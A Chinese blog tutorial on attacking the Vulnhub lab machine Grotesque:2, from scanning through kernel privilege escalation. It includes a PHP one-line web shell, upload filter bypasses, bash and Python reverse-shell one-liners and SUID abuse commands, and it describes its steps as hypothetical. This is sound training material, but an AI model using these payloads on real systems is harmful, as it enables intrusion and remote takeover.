当前位置: 首页 > news >正文

从信息收集到内核提权:Vulnhub靶机渗透实战与思维构建

1. 从“看”到“玩转”:一次靶机渗透的完整心路历程

“看完这篇,教你玩转渗透测试靶机Vulnhub——Grotesque:2”。这个标题本身就很有意思,它预设了一个从“看”到“玩转”的转变。但作为一个在渗透测试领域摸爬滚打了十多年的老手,我必须告诉你,看一百篇攻略,不如自己动手踩一次坑。Vulnhub上的靶机,尤其是像Grotesque:2这样被标记为“中等”或“困难”的机器,其价值远不止于拿到最终的root.txt。它更像是一个精心设计的迷宫,考验的是你的信息收集能力、逻辑思维、工具链的熟练度,以及在遇到意料之外情况时的临场应变能力。今天,我不打算给你一份“标准答案”式的通关秘籍,而是想带你走一遍我面对Grotesque:2时的完整思考与操作流程,分享那些攻略里通常不会写的“为什么这么做”以及“如果失败了怎么办”。

Grotesque:2是Vulnhub上一个基于Web应用漏洞的靶机,它模拟了一个存在多处安全缺陷的网站环境。很多新手拿到靶机,第一反应就是打开Nmap扫端口,然后对着开放的80端口狂用Dirb、Gobuster,接着上Burp Suite抓包改参数。这个流程没错,但过于机械。面对Grotesque:2,你需要理解的是,它的“Grotesque”(怪诞)之处可能就在于,某些看似平常的入口,背后连接着非常规的路径;或者,一个明显的漏洞,只是通往下一个更隐蔽漏洞的跳板。我们将从最基础的虚拟机配置开始,一步步深入到内核利用的细节,重点不是复现命令,而是重建整个渗透测试的思维链路。

2. 环境准备与初步侦察:超越默认扫描

在启动Grotesque:2的OVA文件之前,有几个细节决定了你后续的体验。首先,确保你的攻击机(通常是Kali Linux)和靶机在同一网络段。我推荐使用VirtualBox或VMware的“Host-Only”或“NAT网络”模式创建一个隔离的虚拟网络,这样既能保证连通性,又不会影响你的物理网络。启动靶机后,注意观察启动日志,有时靶机会在启动时显示IP地址,如果没有,你需要在攻击机上用netdiscoverarp-scan进行二层发现。

注意:有些Vulnhub靶机默认不会自动获取IP,可能需要你进入虚拟机控制台手动配置(如使用dhclient命令)。这是第一个可能遇到的“非技术性”障碍。

假设我们通过arp-scan -lnetdiscover -r 192.168.1.0/24发现了靶机IP为192.168.1.105。接下来就是经典的Nmap扫描。但别急着用那个“万能”的-A -sC -sV命令。对于渗透测试,尤其是时间有限的模拟环境,分阶段、有重点的扫描更高效。

第一阶段:快速端口发现

nmap -sS -T4 -p- 192.168.1.105

这里用了-sS(SYN半开放扫描,速度快且相对隐蔽)和-T4(较快的时间模板)。-p-表示扫描所有65535个端口。目的是快速找出所有开放端口,而不是一开始就进行全面的服务探测。

第二阶段:针对性服务探测假设第一阶段发现开放了80和另一个非常规端口(比如7890)。那么第二阶段扫描就应该针对这些具体端口:

nmap -sC -sV -p 80,7890 -oA grotesque_initial 192.168.1.105

-sC:使用默认的Nmap脚本进行更深入的探测。-sV:探测服务版本。-oA:以三种格式(普通、XML、Grepable)输出结果,方便后续查阅。

为什么分两步?因为如果靶机有防火墙或入侵检测系统(IDS),一次性的、侵略性过强的扫描可能触发警报或被屏蔽。分步进行,先摸清轮廓,再重点深入,是更专业的做法。扫描结果可能会显示80端口运行着一个HTTP服务,而另一个端口可能运行着一个未知的或自定义的服务,这本身就是一条重要线索。

3. Web入口点深度枚举与漏洞初探

Nmap扫描显示80端口开放,运行着Apache服务器。直接访问http://192.168.1.105,我们看到了一个网站。很多人的下一步是立刻上目录爆破工具。但在运行工具之前,手动浏览一遍网站是至关重要的。查看页面源代码、检查Robots.txt、查看HTTP响应头信息,这些都能发现工具可能忽略的细节。

例如,在页面源代码的注释里,开发者可能会留下测试路径、备份文件位置甚至硬编码的凭证。检查HTTP头可能会发现特定的服务器版本(如Apache 2.4.49)或者框架信息(如PHP 7.4),这些信息对于寻找已知漏洞至关重要。

手动浏览后,再进行自动化枚举。我习惯将Gobuster和Dirsearch结合使用,因为它们的字典和算法各有侧重。

# 使用Gobuster进行目录和文件枚举 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50 # 同时,可以使用Dirsearch进行更深入的扫描 python3 dirsearch.py -u http://192.168.1.105 -e php,html,js,txt,bak -w /usr/share/wordlists/dirb/big.txt

在扫描过程中,重点关注以下类型的发现:

  • 管理后台:如/admin/wp-admin/backend
  • API或配置文件:如/api/config.envconfig.php.bak
  • 上传点:如/upload/filemanager
  • 日志或备份文件:如/backup/logsaccess.log

假设我们发现了/admin目录,访问后是一个登录页面。此时,不要立即尝试暴力破解。首先尝试默认凭证(admin/admin, admin/password等)。如果不行,查看页面是否有“忘记密码”功能,或者是否存在SQL注入漏洞。你可以手动测试,在用户名和密码字段输入单引号,观察是否有数据库报错信息回显。也可以使用Burp Suite抓取登录请求,发送到Intruder模块进行模糊测试或字典攻击。

实操心得:在针对登录框进行测试时,先进行简单的SQL注入测试(如‘ or ‘1’=’1)和基本的XSS测试(如<script>alert(1)</script>)。有时,开发人员会在前端进行输入过滤,但后端未做校验,Burp Suite可以绕过前端的JavaScript验证。另外,注意观察登录失败和成功的HTTP响应差异,比如状态码、响应长度、返回信息的细微差别,这有助于设计有效的暴力破解攻击。

如果Web层面没有直接突破点,那么之前Nmap发现的另一个开放端口(例如7890)就变得尤为关键。用Netcat或Telnet连接上去,看看它返回什么信息。

nc -nv 192.168.1.105 7890

如果返回的是一个自定义的协议横幅或者一个交互式命令行,那这可能是一个非标准服务,甚至是靶机故意留下的后门或调试接口。你需要尝试发送各种可能的命令(HELP、INFO、LOGIN等),或者用strings命令分析从该端口获取的原始数据,寻找线索。

4. 漏洞利用与权限提升:从Web Shell到Root Shell

假设我们通过Web漏洞(比如在/admin的某个参数发现了SQL注入,并利用SQLMap成功获取了数据库中的用户密码哈希,通过破解弱密码获得了后台管理员权限)获得了网站后台的访问权。在后台,我们可能发现了一个文件上传功能,允许上传图片。这是获取Web Shell的经典入口。

文件上传绕过:如果上传功能有白名单限制(只允许.jpg, .png),可以尝试多种绕过方式:

  1. 双扩展名shell.php.jpg
  2. 大小写混淆shell.PHp
  3. 尾部空格/点shell.php.(在某些系统处理中会被忽略)
  4. 修改Content-Type:在Burp Suite中将上传请求中的Content-Type: image/jpeg
  5. 利用解析漏洞:例如,服务器是Nginx,可能存在shell.jpg/.php这样的解析漏洞。

上传一个简单的PHP Web Shell(例如,使用system($_GET[‘cmd’]);的一句话木马)到服务器可访问的路径,例如/uploads/shell.php。然后通过浏览器访问http://192.168.1.105/uploads/shell.php?cmd=id,如果返回了当前用户的UID,说明Web Shell生效。

建立反向Shell:Web Shell的交互性很差。我们需要一个完整的反向Shell。在攻击机上监听一个端口:

nc -lvnp 4444

然后通过Web Shell执行命令,将系统的Shell反弹到攻击机。根据靶机系统环境,命令不同:

  • Linux靶机(最常见)
# Bash bash -c ‘bash -i >& /dev/tcp/192.168.1.100/4444 0>&1’ # 或者使用Python python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
  • Windows靶机:可以使用PowerShell命令。

如果成功,你会在攻击机的Netcat监听端看到一个Shell。第一个命令通常是whoamipwd,确认当前权限和位置。

权限提升(Privilege Escalation):拿到一个低权限用户(如www-data)的Shell后,目标是获取root权限。这是一个系统性的信息收集过程,我称之为“本地枚举”。

  1. 系统信息uname -a(内核版本),cat /etc/os-release(发行版信息)。
  2. 用户和组idcat /etc/passwdcat /etc/group
  3. 运行进程ps auxps -ef, 查看是否有以root身份运行的可疑或脆弱进程。
  4. 网络连接netstat -tulnpss -tulnp, 查看开放端口和连接,可能与内部服务有关。
  5. 计划任务crontab -l(当前用户), 查看/etc/crontab/etc/cron.d/目录,寻找以root权限定期运行的任务,看是否有脚本的写权限。
  6. SUID/GUID文件find / -perm -u=s -type f 2>/dev/null查找设置了SUID位的文件。如果find命令本身是SUID,那可以直接用它提权(find . -exec /bin/sh \; -quit)。
  7. 可写文件find / -writable 2>/dev/null | grep -v proc | grep -v sys, 特别是/etc/passwd/etc/sudoers.d/目录下的文件。
  8. 环境变量env, 查看PATH变量中是否有当前用户可写的目录,这可能导致劫持。
  9. 查看历史命令history, 可能包含密码或其他敏感信息。
  10. 查看配置文件:Web应用的配置文件(如config.php.env)中可能包含数据库密码,而数据库里可能存有其他用户的密码哈希。

针对Grotesque:2, 提权路径可能就隐藏在上述某一步中。例如,你可能发现一个以root权限运行的、但配置错误的系统服务(通过ps auxsystemctl list-units发现),或者一个全局可写的脚本被cron以root身份执行。又或者,内核版本较旧,存在公开的本地提权漏洞(如Dirty Pipe, Dirty COW)。你可以使用searchsploit linux kernel 3.13这样的命令在本地搜索漏洞,或者上传像linpeas.sh这样的自动化提权脚本进行深度枚举。

踩坑实录:有一次在提权时,我发现了一个SUID位的/usr/bin/vim.basic。理论上,可以通过:!bash在Vim中启动一个具有SUID权限的shell。但实际执行时,系统提示“suid不安全,已忽略”。这是因为现代Linux系统(拥有secureexec选项)会丢弃SUID程序启动的子进程的SUID权限。这个坑告诉我,不能盲目相信每一个SUID文件。后来,我通过检查Vim的配置文件或插件路径,发现了可写的目录,通过编写恶意插件实现了提权。所以,自动化脚本是很好的起点,但手动验证和深入思考必不可少。

5. 内核漏洞利用与最终突破

当常规的路径(SUID, cron, 环境变量)都走不通时,内核漏洞往往是最后的武器。使用uname -a获取精确的内核版本,例如Linux grotesque 5.4.0-96-generic。然后去Exploit-DB或GitHub上搜索对应的提权漏洞。

利用过程注意事项

  1. 环境适配:公开的Exploit代码往往需要在目标机上编译。你需要检查目标机是否有GCC编译器(which gcc)。如果没有,你可能需要在攻击机上交叉编译,或者寻找已经编译好的、适用于多种架构的二进制文件,但这风险较高。
  2. 上传Exploit:可以通过Web Shell上传,或者如果靶机开启了Python HTTP服务,可以在攻击机用python3 -m http.server 8000启动一个简易服务器,然后在靶机Shell中用wgetcurl下载。
  3. 编译与执行:在靶机上,gcc exploit.c -o exploit, 然后./exploit。如果成功,你会看到提示符从$变成了#
  4. 稳定性:有些内核漏洞利用不稳定,可能导致系统崩溃(内核恐慌)。在渗透测试环境中问题不大,但在真实环境中需极其谨慎。

假设我们通过一个内核漏洞成功获得了root权限。最后一步是寻找标志文件。在Vulnhub靶机中,通常是/root/root.txt/home/user/user.txt。用cat命令读取它们,这就是你完成渗透的证明。

清理痕迹(可选,在授权测试中很重要):在真实渗透测试或CTF结束后,出于职业道德,可以考虑清理你留下的Web Shell、添加的用户、上传的Exploit文件等。但在Vulnhub练习环境中,这一步通常可以省略。

整个Grotesque:2的渗透过程,从信息收集到内核提权,实际上是一个不断提出假设、验证假设、并根据反馈调整方向的过程。它没有唯一的路径,我所描述的也只是其中一种可能性。真正的“玩转”,是你能在面对任何新靶机时,都有一套清晰的、可迭代的方法论,而不是死记硬背命令。工具是手臂,思维才是大脑。每一次“踩坑”和“绕路”,都是对你思维模式最有效的锤炼。所以,别只是“看完”,打开你的虚拟机,真正去“玩转”它吧。遇到错误和失败时,去搜索,去理解错误信息,去尝试不同的方法,那个过程才是你技能提升最快的时候。

http://www.jsqmd.com/news/1300753/

相关文章:

  • 告别激活烦恼:KMS智能激活工具全面指南
  • 强大阀门集团西北工业市政工程采购攻略及联系电话 - 宁夏壹山网络
  • AI去水印工具实测分享:不同场景下怎么选更合适?
  • Windows系统彻底重置AnyDesk ID的完整指南:一键生成全新ID的终极解决方案
  • 四相五线步进驱动板免焊接接线与参数配置全解析
  • 2026指南:上海商场拆除服务公司实力解析——五家专业服务商全景梳理与选型参考 - 卓企推荐
  • 收盘后才生成信号,当天成交为什么属于未来信息
  • 嘉兴除甲醛公司怎么选?四大品牌及选择标准全解读 - GEORANK
  • 大模型开发入门:从零掌握AI核心技术与实践
  • VR技术原理全解析:从视觉欺骗到沉浸体验的实现路径
  • 零基础学蛋糕咖啡!酷德烘焙培训面向台州椒江、临海、温岭等地招募学员 - 烘焙行业测评
  • 【单片机课程设计/毕业设计】基于嵌入式的双模式车载报站终端设计与调试 基于 STM32 的公交路线方向切换控制系统研发(014601)
  • 世界模型如何革新出版业:从概率拟合到因果推演
  • 2026年Q3上海电炉回收行业服务商竞争格局与选型深度分析 - 优企名品
  • Backtrader PyQt UI:3步构建专业量化交易可视化平台的完整指南
  • 公证处办理亲属关系证明要多少钱?办理前收好这份报价 - 信息快递
  • 如何选择靠谱的悬浮地板批发商 了解悬浮地板的基本知识
  • 电动自行车选购指南:电池衰减、液冷电机与智能功能深度解析
  • C++ Lambda表达式实现递归:原理、方案与实战指南
  • 2026年8月潍坊非急救救护车转运指南:术后出院如何安排 - 小校长
  • Vibe Coding:敏捷开发新范式与团队协作实践指南
  • 2026 年北京管道疏通马桶疏通,家庭厨卫故障维修实用指南 - LYL仔仔
  • 汉中修别墅公司口碑查业主评价
  • AI知识图谱构建避坑手册:92%团队踩过的5类数据陷阱及实时修复方案
  • 单片机毕业设计-基于 OLED 显示的篮球赛事计时计分硬件系统设计 基于嵌入式开发的篮球比赛暂停管控系统研发(015101)
  • Q-learning算法实战:从零构建AI迷宫寻路智能体
  • Spring AI与DeepSeek整合开发智能客服系统实践
  • 2026Q3宁波公司注册与工商注销深度测评|工商风控反直觉真相+疑难变更FAQ榜单 - 品牌优企推荐
  • 语雀文档批量导出终极指南:5分钟搞定内容迁移与备份
  • MP4Box.js架构解析:浏览器端MP4处理的创新解决方案